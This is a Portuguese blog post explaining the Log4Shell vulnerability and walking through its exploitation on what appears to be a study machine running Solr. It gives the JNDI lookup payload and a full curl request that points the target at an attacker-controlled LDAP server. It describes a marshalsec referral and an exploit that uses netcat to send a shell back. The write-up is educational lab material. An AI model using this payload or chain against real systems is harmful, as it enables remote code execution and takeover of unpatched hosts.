Log4Shell (CVE-2021-44228)

19:05 joao.goulart 0 Comentarios




Como você já deve saber, no final do ano de 2021, mais especificamente, no dia 10 de dezembro, uma vulnerabilidade na ferramenta Apache Log4j foi identificada, a  CVE-2021-44228, criou um abalo em toda a comunidade de segurança e de desenvolvimento. Visto que, o Log4j é amplamente utilizado e como consta em sua página oficial no GitHub, o mesmo, já evidencia mais de 400.000 downloads.

O que é o Log4j?

O log4j é uma ferramenta Java utilizada no processo de depuração, uma etapa crucial e muito importante em grandes projetos pois é necessário saber o que está acontecendo por baixo dos panos. Basicamente o log4j é capaz de dividir os logs em níveis hierárquicos, do mais baixo ao mais severo.

Vulnerabilidade Log4Shell

Afetando milhares de empresas, serviços e apps, como pode ser visto a partir de um compilado criado no GitHub, essa vulnerabilidade foi classificada com uma pontuação de 10 CVSS ( Common Vulnerability Scoring System Calculator ), oferecendo execução remota de código (RCE) nos hosts vulneráveis.

Infectando uma máquina vulnerável a Log4Shell

Utilizando uma máquina de estudo iremos agora ver como se aproveitar dessa vulnerabilidade e abusar de um RCE. Primeiramente escaneando a máquina encontramos um serviço Apache rodando na porta 8983.


Acessando esse serviço entramos na etapa de exploração e reconhecimento, nesse momento estamos buscando qualquer tipo de informação que nos mostre que o serviço esteja utilizando o log4j, endpoints, parâmetros, basicamente informações que nos permita a exploração.


Em uma das páginas dessa Dashboard podemos encontrar o diretório onde é armazenado os logs do Solr. Analisando alguns desses logs, encontramos a endpoint que pode vir a servir de vetor de ataque.





O Log4j utiliza uma funcionalidade JNDI ( Java Naming and Directory Interface ) que permite aplicativos interagirem com objetos remotos registrados com o registro RMI ou serviços de diretório como LDAP. O que em poucas palavras quer dizer que nos dará acesso a recursos externos, como por exemplo, um endpoint malicioso controlado pelo atacante.

Para termos certeza de que o endpoint encontrado é um vetor de ataque, abriremos uma porta na máquina do atacante e enviamos uma solitação HTTP com o payload ${jndi:ldap://IP-DO-ATACANTE}.

Requisição HTTP

Resposta

Como podemos ver o endpoint está vulnerável, mas como foi feita uma requisição de protocolo LDAP a resposta tem aparência estranha e não legível. Para contornarmos esse problema, utilizaremos o marshalsec para construir um servidor de referência LDAP que vai ser usado para redirecionar a solitação da endpoint vulnerável para o local que contenha um exploit que executárá no código final. Abaixo está o código do nosso exploit hospedado em um servidor http na máquina do atacante.


Sendo assim, com o servidor de referência LDAP, o netcat escutando na porta 9999 e o servidor HTTP em execução. Enviaremos uma requisição HTTP passando a porta do servidor LDAP e o arquivo usado como Exploit.

curl 'http://10.10.177.66:8983/solr/admin/cores?foo=$\{jndi:ldap://10.2.104.95:1389/Exploit\}'

A partir desse momento o servidor LDAP recebe uma resposta e lança a solicitação para o servidor HTTP onde está o arquivo Exploit que executa o netcat na máquina vulnerável e envia a bash para o atacante.

Servidor LDAP

Servidor HTTP

Recebendo a conexão com a máquina vulnerável a log4Shell, executando um ls e listando o conteúdo da máquina invadida.



Referências:
  • https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/
  • https://www.cisecurity.org/log4j-zero-day-vulnerability-response/

0 comentários: